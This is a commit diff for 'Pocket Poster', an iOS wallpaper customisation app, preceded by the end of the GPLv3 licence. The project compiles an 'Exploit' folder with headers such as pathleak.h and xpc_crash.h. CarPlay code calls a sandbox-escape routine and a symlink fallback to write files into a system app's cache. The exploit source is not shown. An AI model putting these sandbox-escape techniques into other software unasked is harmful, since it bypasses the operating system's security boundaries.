covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
+72 -8
View File
@@ -8,15 +8,37 @@
/* Begin PBXBuildFile section */
6F09B7BB2DEB873F00CDE89C /* ZIPFoundation in Frameworks */ = {isa = PBXBuildFile; productRef = 6F09B7BA2DEB873F00CDE89C /* ZIPFoundation */; };
6F09BA332E00808300CDE89C /* Dynamic in Frameworks */ = {isa = PBXBuildFile; productRef = 6F09BA322E00808300CDE89C /* Dynamic */; };
6FB105552E26D3EC00185A5C /* CachedAsyncImage in Frameworks */ = {isa = PBXBuildFile; productRef = 6FB105542E26D3EC00185A5C /* CachedAsyncImage */; };
/* End PBXBuildFile section */
/* Begin PBXFileReference section */
6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Pocket Poster.app"; sourceTree = BUILT_PRODUCTS_DIR; };
/* End PBXFileReference section */
/* Begin PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */ = {
isa = PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet;
buildPhase = 6F09B7992DEB694B00CDE89C /* Sources */;
membershipExceptions = (
Exploit/bad_query.h,
"Exploit/Pocket-Poster-Bridging-Header.h",
Exploit/pathleak.h,
Exploit/worse_query.h,
"Exploit/xpc_crash.h",
);
};
/* End PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
/* Begin PBXFileSystemSynchronizedRootGroup section */
6F09B79F2DEB694B00CDE89C /* Pocket Poster */ = {
isa = PBXFileSystemSynchronizedRootGroup;
exceptions = (
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */,
);
explicitFolders = (
Resources/VideoCAML,
);
path = "Pocket Poster";
sourceTree = "<group>";
};
@@ -27,6 +49,8 @@
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
6FB105552E26D3EC00185A5C /* CachedAsyncImage in Frameworks */,
6F09BA332E00808300CDE89C /* Dynamic in Frameworks */,
6F09B7BB2DEB873F00CDE89C /* ZIPFoundation in Frameworks */,
);
runOnlyForDeploymentPostprocessing = 0;
@@ -71,6 +95,8 @@
name = "Pocket Poster";
packageProductDependencies = (
6F09B7BA2DEB873F00CDE89C /* ZIPFoundation */,
6F09BA322E00808300CDE89C /* Dynamic */,
6FB105542E26D3EC00185A5C /* CachedAsyncImage */,
);
productName = "Pocket Poster";
productReference = 6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */;
@@ -102,6 +128,8 @@
minimizedProjectReferenceProxies = 1;
packageReferences = (
6F09B7B92DEB873F00CDE89C /* XCRemoteSwiftPackageReference "ZIPFoundation" */,
6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */,
6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */,
);
preferredProjectObjectVersion = 77;
productRefGroup = 6F09B79E2DEB694B00CDE89C /* Products */;
@@ -261,11 +289,15 @@
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 0;
CURRENT_PROJECT_VERSION = 4;
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
DEVELOPMENT_TEAM = 2P4CP47H76;
ENABLE_PREVIEWS = YES;
GENERATE_INFOPLIST_FILE = YES;
HEADER_SEARCH_PATHS = (
"$(inherited)",
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
);
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
@@ -273,15 +305,16 @@
INFOPLIST_KEY_UILaunchScreen_Generation = YES;
INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait";
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown";
IPHONEOS_DEPLOYMENT_TARGET = 17.0;
IPHONEOS_DEPLOYMENT_TARGET = 16.0;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 1.0;
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
MARKETING_VERSION = 3.3.0;
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2";
};
@@ -293,11 +326,15 @@
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 0;
CURRENT_PROJECT_VERSION = 4;
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
DEVELOPMENT_TEAM = 2P4CP47H76;
ENABLE_PREVIEWS = YES;
GENERATE_INFOPLIST_FILE = YES;
HEADER_SEARCH_PATHS = (
"$(inherited)",
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
);
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
@@ -305,15 +342,16 @@
INFOPLIST_KEY_UILaunchScreen_Generation = YES;
INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait";
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown";
IPHONEOS_DEPLOYMENT_TARGET = 17.0;
IPHONEOS_DEPLOYMENT_TARGET = 16.0;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 1.0;
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
MARKETING_VERSION = 3.3.0;
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2";
};
@@ -351,6 +389,22 @@
minimumVersion = 0.9.19;
};
};
6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/mhdhejazi/Dynamic";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 1.2.0;
};
};
6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/lorenzofiamingo/swiftui-cached-async-image";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 2.1.1;
};
};
/* End XCRemoteSwiftPackageReference section */
/* Begin XCSwiftPackageProductDependency section */
@@ -359,6 +413,16 @@
package = 6F09B7B92DEB873F00CDE89C /* XCRemoteSwiftPackageReference "ZIPFoundation" */;
productName = ZIPFoundation;
};
6F09BA322E00808300CDE89C /* Dynamic */ = {
isa = XCSwiftPackageProductDependency;
package = 6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */;
productName = Dynamic;
};
6FB105542E26D3EC00185A5C /* CachedAsyncImage */ = {
isa = XCSwiftPackageProductDependency;
package = 6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */;
productName = CachedAsyncImage;
};
/* End XCSwiftPackageProductDependency section */
};
rootObject = 6F09B7952DEB694B00CDE89C /* Project object */;
@@ -1,6 +1,24 @@
{
"originHash" : "d0d4edfdf2bf3cd05b3ba2dec0af1a9c271c93f944cbba8677cc647f74a6b323",
"originHash" : "7f2d604f1affb7dc07ec1898cef3c0eaf130e2b55b5c441f445ab59c3285c1bb",
"pins" : [
{
"identity" : "dynamic",
"kind" : "remoteSourceControl",
"location" : "https://github.com/mhdhejazi/Dynamic",
"state" : {
"revision" : "ab9a2570862d54aed2663691bb767f881226a12f",
"version" : "1.2.0"
}
},
{
"identity" : "swiftui-cached-async-image",
"kind" : "remoteSourceControl",
"location" : "https://github.com/lorenzofiamingo/swiftui-cached-async-image",
"state" : {
"revision" : "467a3d17479887943ab917a379e62bbaff60ac8a",
"version" : "2.1.1"
}
},
{
"identity" : "zipfoundation",
"kind" : "remoteSourceControl",
@@ -0,0 +1,77 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1620"
version = "1.7">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
BuildableName = "Pocket Poster.app"
BlueprintName = "Pocket Poster"
ReferencedContainer = "container:Pocket Poster.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES"
shouldAutocreateTestPlan = "YES">
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
BuildableName = "Pocket Poster.app"
BlueprintName = "Pocket Poster"
ReferencedContainer = "container:Pocket Poster.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
BuildableName = "Pocket Poster.app"
BlueprintName = "Pocket Poster"
ReferencedContainer = "container:Pocket Poster.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>
+79
View File
@@ -0,0 +1,79 @@
//
// CowabungaAPI.swift
// Pocket Poster
//
// Created by lemin on 7/15/25.
//
import UIKit
enum FilterType: String, CaseIterable {
case random = "Random"
case newest = "Newest"
case oldest = "Oldest"
}
class CowabungaAPI: ObservableObject {
static let shared = CowabungaAPI()
var serverURL = ""
var session = URLSession.shared
func fetchWallpapers(type: DownloadableWallpaper.WallpaperType) async throws -> [DownloadableWallpaper] {
let request = URLRequest(url: .init(string: serverURL + "wallpapers-\(type.rawValue).json")!)
let (data, response) = try await session.data(for: request) as! (Data, HTTPURLResponse)
guard response.statusCode == 200 else { throw APIError.connectionFailed }
let wallpapers = try JSONDecoder().decode([DownloadableWallpaper].self, from: data)
for i in wallpapers.indices {
wallpapers[i].type = type
}
return wallpapers
}
func filterWallpapers(wallpapers: [DownloadableWallpaper], filterType: FilterType) -> [DownloadableWallpaper] {
var filtered = wallpapers
if filterType == FilterType.newest {
filtered = filtered.reversed()
} else if filterType == FilterType.random {
filtered = filtered.shuffled()
}
return filtered
}
func getCommitHash() async throws -> String {
let request = URLRequest(url: .init(string: serverURL + "https://api.github.com/repos/SerStars/nugget-wallpapers/commits/main")!)
let (data, response) = try await session.data(for: request) as! (Data, HTTPURLResponse)
guard response.statusCode == 200 else { throw APIError.connectionFailed }
guard let repoinfo = try JSONSerialization.jsonObject(with: data, options: []) as? [String: Any] else { throw APIError.repoHashError }
guard let hash = repoinfo["sha"] as? String else { throw APIError.repoHashError }
return hash
}
func getDownloadURLForWallpaper(wallpaper: DownloadableWallpaper) -> URL {
if wallpaper.url.hasPrefix("https://") {
URL(string: wallpaper.url)!
} else {
URL(string: serverURL + wallpaper.url)!
}
}
func getPreviewURLForWallpaper(wallpaper: DownloadableWallpaper) -> URL {
URL(string: serverURL + wallpaper.preview)!
}
init() {
Task {
do {
let hash = try await getCommitHash()
serverURL = "https://raw.githubusercontent.com/SerStars/nugget-wallpapers/\(hash)/"
} catch {
await UIApplication.shared.alert(body: error.localizedDescription)
}
}
}
}
@@ -0,0 +1,31 @@
//
// DownloadableWallpaper.swift
// Pocket Poster
//
// Created by lemin on 7/15/25.
//
class DownloadableWallpaper: Identifiable, Codable {
var name: String
var description: String?
var url: String
var preview: String
var authors: String?
var type: WallpaperType?
init(name: String, description: String?, authors: String?, preview: String, url: String, version: String) {
self.name = name
self.description = description
self.authors = authors
self.preview = preview
self.url = url
}
enum WallpaperType: String, Codable {
case custom, apple, template
}
func previewIsGif() -> Bool {
return preview.hasSuffix(".gif")
}
}
@@ -0,0 +1,21 @@
{
"images" : [
{
"idiom" : "universal",
"scale" : "1x"
},
{
"filename" : "Mak5er@2x.png",
"idiom" : "universal",
"scale" : "2x"
},
{
"idiom" : "universal",
"scale" : "3x"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

@@ -0,0 +1,21 @@
{
"images" : [
{
"idiom" : "universal",
"scale" : "1x"
},
{
"filename" : "POEditor@2x.png",
"idiom" : "universal",
"scale" : "2x"
},
{
"idiom" : "universal",
"scale" : "3x"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

@@ -0,0 +1,28 @@
//
// CPBitmapHandler.swift
// Pocket Poster
//
// Created by lemin on 6/16/25.
//
import UIKit
import Dynamic
class CPBitmapHandler {
static func resizeAndSave(image: UIImage, to url: URL, size: CGSize) throws {
UIGraphicsBeginImageContextWithOptions(size, false, 0.0)
image.draw(in: CGRect(origin: CGPoint.zero, size: size))
let resizedImage = UIGraphicsGetImageFromCurrentImageContext()!
UIGraphicsEndImageContext()
try? FileManager.default.removeItem(at: url)
resizedImage.writeToCPBitmapFile(to: url.path() as NSString)
}
}
extension UIImage {
func writeToCPBitmapFile(to path: NSString) {
Dynamic(self).writeToCPBitmapFile(path, flags: 1)
}
}
@@ -0,0 +1,168 @@
//
// CarPlayWallpaper.swift
// Pocket Poster
//
// Created by lemin on 6/22/25.
//
import SwiftUI
struct CarPlayWallpaper: Identifiable {
var id = UUID()
var name: String
var lightImage: UIImage
var darkImage: UIImage
var selectedImageDataLight: Data?
var selectedImageDataDark: Data?
}
extension CarPlayWallpaper: Reorderable {
typealias OrderElement = String
var orderElement: OrderElement { name }
}
class CarPlayManager {
static func supportsCarPlay() -> Bool {
if UIDevice.current.userInterfaceIdiom != .phone {
// CarPlay is not on iPads
return false
}
if #available(iOS 19, *) {
// get the build number
var osVersionString = [CChar](repeating: 0, count: 16)
var osVersionStringLen = size_t(osVersionString.count - 1)
let result = sysctlbyname("kern.osversion", &osVersionString, &osVersionStringLen, nil, 0)
if result == 0 {
// Convert C array to String
if let build = String(validatingUTF8: osVersionString) {
// check build number for iOS 26 dev beta 1-3, return true if user is on that
if build == "23A5260n" // dev beta 1
|| build == "23A5260u" // dev beta 1 (iPhone 15/16 series)
|| build == "23A5276f" // dev beta 2
|| build == "23A5287g" { // dev beta 3
return true
}
} else {
print("Failed to convert build number to String")
}
} else {
print("sysctlbyname failed with error: \(String(cString: strerror(errno)))")
}
return false
}
return true
}
static func getCarPlayCacheVersion() -> String {
// they started adding numbers to the end in iOS 18, this is to compensate for that
if #available(iOS 19.0, *) {
return "-12"
} else if #available(iOS 18.0, *) {
return "-11"
}
return ""
}
static func getCarPlayWallpaperNames() -> [String]? {
dlopen("/System/Library/PrivateFrameworks/CarPlayUIServices.framework/CarPlayUIServices", RTLD_GLOBAL)
if #available(iOS 18.0, *) {
// iOS 18 method (it got moved)
guard let obj = objc_getClass("CRSUISystemWallpaper") as? NSObject else { print("no class"); return nil }
if let success = obj.perform(Selector(("wallpapers"))), let arr = success.takeUnretainedValue() as? [NSObject] {
var namesList: [String] = []
for wp in arr {
if let wpACName = wp.perform(Selector(("wallpaperAssetCatalogName"))), let result = wpACName.takeUnretainedValue() as? String {
namesList.append(result)
}
}
return namesList
}
} else {
// iOS 17-
guard let obj = objc_getClass("CRSUIWallpaperPreferences") as? NSObject else { print("no class"); return nil }
if let success = obj.perform(Selector(("availableWallpapers"))), let arr = success.takeUnretainedValue() as? [NSObject] {
var namesList: [String] = []
for wp in arr {
if let wpACName = wp.perform(Selector(("wallpaperAssetCatalogName"))), let result = wpACName.takeUnretainedValue() as? String {
namesList.append(result)
}
}
return namesList
}
}
return nil
}
static func getCarPlayPhotosURL() -> URL {
let cppURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CarPlayPhotos", conformingTo: .directory)
// create it if it doesn't exist
if !FileManager.default.fileExists(atPath: cppURL.path()) {
try? FileManager.default.createDirectory(at: cppURL, withIntermediateDirectories: true)
}
return cppURL
}
static func applyCarPlay(appHash: String, wallpapers: [CarPlayWallpaper]) throws {
// write the image
var toRemove: [URL] = []
var activeWP: [String] = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
let cppURL = getCarPlayPhotosURL()
let cacheVer = getCarPlayCacheVersion()
for wallpaper in wallpapers {
if let data = wallpaper.selectedImageDataLight, let img = UIImage(data: data) {
let imgURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CAR\(wallpaper.name)Dynamic-Light\(cacheVer).cpbitmap")
img.writeToCPBitmapFile(to: imgURL.path() as NSString)
try? data.write(to: cppURL.appendingPathComponent("\(wallpaper.name)-Light"))
toRemove.append(imgURL)
if !activeWP.contains(wallpaper.name) {
activeWP.append(wallpaper.name)
}
}
if let data = wallpaper.selectedImageDataDark, let img = UIImage(data: data) {
let imgURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CAR\(wallpaper.name)Dynamic-Dark\(cacheVer).cpbitmap")
img.writeToCPBitmapFile(to: imgURL.path() as NSString)
try? data.write(to: cppURL.appendingPathComponent("\(wallpaper.name)-Dark"))
toRemove.append(imgURL)
if !activeWP.contains(wallpaper.name) {
activeWP.append(wallpaper.name)
}
}
}
defer {
SymHandler.cleanup()
}
let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
if SymHandler.prefersSandboxEscape {
let destPath = SandboxEscape.carPlayCachePath(appHash: appHash)
do {
try SymHandler.writeFilesViaEscape(toDirectory: destPath, files: toRemove)
// remove local staging copies after successful write
for imgURL in toRemove {
try? FileManager.default.removeItem(at: imgURL)
}
} catch {
print("worse_query CarPlay failed, falling back to symlink: \(error)")
let _ = try SymHandler.createAppSymlink(for: cacheRel)
for imgURL in toRemove {
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
}
}
} else {
// legacy symlink + trashItem
let _ = try SymHandler.createAppSymlink(for: cacheRel)
for imgURL in toRemove {
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
}
}
UserDefaults.standard.set(activeWP, forKey: "ActiveCarPlayWallpapers")
let test = SymHandler.getDocumentsDirectory().appendingPathComponent("Caches")
try Data(count: 0).write(to: test)
}
}
@@ -6,30 +6,79 @@
//
import Foundation
import UIKit
class DownloadManager {
static func getWallpaperNameFromURL(string url: String) -> String {
class DownloadManager: ObservableObject {
static let shared = DownloadManager()
static let exploreLink = "https://cowabun.ga/wallpapers?pocketposter=true"
@Published var downloadURL: String? = nil
func getWallpaperNameFromURL(string url: String) -> String {
return String(url.split(separator: "/").last ?? "Unknown")
}
static func downloadFromURL(_ url: URL) async throws -> URL {
func startTendiesDownload(for url: URL) {
// prohibit to only tendies files
if !url.absoluteString.hasSuffix(".tendies") {
UIApplication.shared.alert(body: NSLocalizedString("Only .tendies files can be downloaded!", comment: ""))
} else if PosterBoardManager.shared.selectedTendies.count >= PosterBoardManager.MaxTendies {
UIApplication.shared.alert(title: NSLocalizedString("Max Tendies Reached", comment: ""), body: String(format: NSLocalizedString("You can only apply %@ descriptors.", comment: ""), "\(PosterBoardManager.MaxTendies)"))
} else {
DispatchQueue.main.async {
self.downloadURL = url.absoluteString.replacingOccurrences(of: "pocketposter://download?url=", with: "")
UIApplication.shared.confirmAlert(title: NSLocalizedString("Download Tendies File", comment: ""), body: String(format: NSLocalizedString("Would you like to download the file %@?", comment: ""), "\(self.getWallpaperNameFromURL(string: self.downloadURL ?? "/Unknown"))"), onOK: {
self.downloadWallpaper()
}, noCancel: false)
}
}
}
func downloadWallpaper() {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
UIApplication.shared.alert(title: NSLocalizedString("Downloading", comment: "") + " \(getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))...", body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
Task {
do {
let newURL = try await downloadFromURL(string: downloadURL!)
DispatchQueue.main.async {
PosterBoardManager.shared.selectedTendies.append(newURL)
Haptic.shared.notify(.success)
UIApplication.shared.dismissAlert(animated: true)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
UIApplication.shared.alert(title: NSLocalizedString("Successfully downloaded wallpaper!", comment: ""), body: NSLocalizedString("Your downloaded .tendies will be on the Home page.", comment: "after successfully downloading tendies"))
})
}
} catch {
DispatchQueue.main.async {
Haptic.shared.notify(.error)
UIApplication.shared.dismissAlert(animated: true)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
UIApplication.shared.alert(title: NSLocalizedString("Could not download wallpaper!", comment: ""), body: error.localizedDescription)
})
}
}
}
}
func downloadFromURL(_ url: URL) async throws -> URL {
print("Downloading from \(url.absoluteString)")
let request = URLRequest(url: url)
let (data, response) = try await URLSession.shared.data(for: request) as! (Data, HTTPURLResponse)
guard response.statusCode == 200 else { throw URLError(.cannotConnectToHost) }
let newURL = PosterBoardManager.getTendiesStoreURL().appendingPathComponent(getWallpaperNameFromURL(string: url.absoluteString))
let newURL = PosterBoardManager.shared.getTendiesStoreURL().appendingPathComponent(getWallpaperNameFromURL(string: url.absoluteString))
try data.write(to: newURL)
return newURL
}
static func downloadFromURL(string path: String) async throws -> URL {
func downloadFromURL(string path: String) async throws -> URL {
guard let url = URL(string: path) else { throw URLError(.unknown) }
return try await downloadFromURL(url)
}
static func copyTendies(from url: URL) throws -> URL {
func copyTendies(from url: URL) throws -> URL {
// scope the resource
let accessing = url.startAccessingSecurityScopedResource()
defer {
@@ -37,7 +86,7 @@ class DownloadManager {
url.stopAccessingSecurityScopedResource()
}
}
let newURL = PosterBoardManager.getTendiesStoreURL().appendingPathComponent(url.lastPathComponent)
let newURL = PosterBoardManager.shared.getTendiesStoreURL().appendingPathComponent(url.lastPathComponent)
try FileManager.default.copyItem(at: url, to: newURL)
return newURL
}
@@ -9,13 +9,18 @@ import Foundation
import ZIPFoundation
import UIKit
class PosterBoardManager {
class PosterBoardManager: ObservableObject {
static let ShortcutURL = "https://www.icloud.com/shortcuts/a28d2c02ca11453cb5b8f91c12cfa692"
static let WallpapersURL = "https://cowabun.ga/wallpapers"
static let MaxTendies = 10
static func getTendiesStoreURL() -> URL {
static let shared = PosterBoardManager()
@Published var selectedTendies: [URL] = []
@Published var videos: [LoadInfo] = []
func getTendiesStoreURL() -> URL {
let tendiesStoreURL = SymHandler.getDocumentsDirectory().appendingPathComponent("KFC Bucket", conformingTo: .directory)
